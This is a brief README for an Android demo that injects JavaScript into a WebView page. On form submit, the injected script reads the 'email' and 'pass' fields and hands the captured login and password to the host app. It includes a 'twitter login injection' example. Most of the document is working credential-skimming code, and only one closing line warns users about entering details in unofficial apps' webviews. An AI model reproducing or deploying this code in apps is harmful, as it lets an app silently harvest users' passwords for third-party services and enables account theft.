 1 | Android-Javascript-Injection
 2 | ============================
 3 | 
 4 | This demo show you how to inject javascript to webview,
 5 | and get input value before submit.
 6 | 
 7 | 
 8 | <br/>
 9 | 
10 | Step 1 : create a class which called by javascript
11 | -----------
12 | ```Java
13 | class MyJavaScriptInterface
14 | {
15 |     @JavascriptInterface
16 |     public void processHTML(String html)
17 |     {
18 |         //called by javascript
19 |     }
20 | }
21 | ```
22 | 
23 | 
24 | 
25 | Step 2 : register interface for javascript
26 | -----------
27 | ```Java
28 | webview1.getSettings().setJavaScriptEnabled(true);
29 | webview1.addJavascriptInterface(new MyJavaScriptInterface(), "MYOBJECT");
30 | ```
31 | 
32 | 
33 | 
34 | Step 3 : inject javascript to page
35 | -----------
36 | ```Java
37 | webview1.setWebViewClient(new WebViewClient() {
38 |     @Override
39 |     public void onPageFinished(WebView view, String url) {
40 |         super.onPageFinished(view, url);
41 | 
42 |         StringBuilder sb = new StringBuilder();
43 |         sb.append("document.getElementsByTagName('form')[0].onsubmit = function () {");
44 |         sb.append("var objPWD, objAccount;var str = '';");
45 |         sb.append("var inputs = document.getElementsByTagName('input');");
46 |         sb.append("for (var i = 0; i < inputs.length; i++) {");
47 |         sb.append("if (inputs[i].name.toLowerCase() === 'pass') {objPWD = inputs[i];}");
48 |         sb.append("else if (inputs[i].name.toLowerCase() === 'email') {objAccount = inputs[i];}");
49 |         sb.append("}");
50 |         sb.append("if (objAccount != null) {str += objAccount.value;}");
51 |         sb.append("if (objPWD != null) { str += ' , ' + objPWD.value;}");
52 |         sb.append("window.MYOBJECT.processHTML(str);");
53 |         sb.append("return true;");
54 |         sb.append("};");
55 |                 
56 |         view.loadUrl("javascript:" + sb.toString());
57 |     }
58 | 
59 | });
60 | ```
61 | 
62 | Example : twitter login injection
63 | -----------
64 | ![](pic1.png)
65 | <br/>
66 | ![](pic2.png)
67 | 
68 | <br/>
69 | Note : it's dangerous to give important information in webview with unoffical app.
70 | -----------
